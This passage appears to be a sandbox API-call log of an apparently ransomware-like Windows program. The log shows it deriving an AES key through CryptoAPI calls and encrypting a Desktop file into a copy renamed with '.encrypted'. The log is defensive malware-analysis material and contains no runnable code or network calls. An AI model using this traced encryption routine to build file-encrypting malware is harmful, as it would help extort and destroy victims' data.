hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.508] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.509] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.509] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.509] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.510] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.510] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.510] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.510] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.510] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.511] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.511] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.511] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.524] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0023.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417af60, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0023.524] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0023.525] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.525] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.525] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.525] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.525] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418ba50, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.525] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.526] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.526] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.526] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.526] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.526] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.526] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.526] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.526] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.526] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.526] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.527] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.527] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\uk 6ek_ge.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.527] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.527] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.527] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.528] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.529] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.529] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x64e6, lpOverlapped=0x0) returned 1 [0023.530] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.532] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.532] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.532] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.532] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.532] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.532] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.532] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.533] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.533] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.533] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.533] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.533] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.533] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.534] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417aca0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0023.534] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0023.535] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064d00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.535] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.535] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.536] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.536] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.536] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.536] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x64e6, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x64f0) returned 1 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.536] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] CharLowerBuffW (in: lpsz="byte[25841]", cchLength=0xb | out: lpsz="byte[25841]") returned 0xb [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.537] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.537] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cd3b0*, pdwDataLen=0xe8f3dfdf68*=0x64e6, dwBufLen=0x64f0 | out: pbData=0xe8f41cd3b0*, pdwDataLen=0xe8f3dfdf68*=0x64f0) returned 1 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.537] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, 